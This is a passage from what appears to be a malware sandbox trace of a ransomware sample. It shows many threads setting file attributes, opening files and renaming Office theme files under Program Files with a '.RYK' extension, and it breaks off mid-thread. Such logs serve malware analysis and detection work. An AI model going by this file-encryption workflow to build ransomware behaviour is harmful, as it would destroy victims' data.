	[0169.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 435
	os_tid = 0xef8

	[0169.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", dwFileAttributes=0x80) returned 0
	[0169.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 436
	os_tid = 0xefc

	[0169.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", dwFileAttributes=0x80) returned 0
	[0169.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.304] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 437
	os_tid = 0xf00

	[0169.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.307] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 438
	os_tid = 0xf04

	[0169.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.193] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 439
	os_tid = 0xf08

	[0169.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", dwFileAttributes=0x80) returned 0
	[0169.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.195] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 440
	os_tid = 0xf0c

	[0169.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", dwFileAttributes=0x80) returned 0
	[0169.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.198] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 441
	os_tid = 0xf10

	[0169.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 442
	os_tid = 0xf14

	[0169.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.201] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 443
	os_tid = 0xf18

	[0169.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", dwFileAttributes=0x80) returned 0
	[0169.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.204] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 444
	os_tid = 0xf1c

	[0169.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", dwFileAttributes=0x80) returned 0
	[0169.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 445
	os_tid = 0xf20

	[0169.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.312] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 446
	os_tid = 0xf24

	[0169.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 447
	os_tid = 0xf28

	[0169.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", dwFileAttributes=0x80) returned 0
	[0169.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 448
	os_tid = 0xf2c

	[0169.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", dwFileAttributes=0x80) returned 0
	[0169.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 449
	os_tid = 0xf30

	[0169.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 450
	os_tid = 0xf34

	[0169.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 451
	os_tid = 0xf38

	[0169.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", dwFileAttributes=0x80) returned 0
	[0169.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 452
	os_tid = 0xf3c

	[0169.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", dwFileAttributes=0x80) returned 0
	[0169.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 453
	os_tid = 0xf40

	[0169.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.455] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 455
	os_tid = 0xf48

	[0169.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 456
	os_tid = 0xf4c

	[0169.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", dwFileAttributes=0x80) returned 0
	[0169.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 457
	os_tid = 0xf50

	[0169.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", dwFileAttributes=0x80) returned 0
	[0169.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 458
	os_tid = 0xf54

	[0169.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 459
	os_tid = 0xf5c

	[0169.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.787] CloseHandle (hObject=0xffffffffffffffff) returned 0
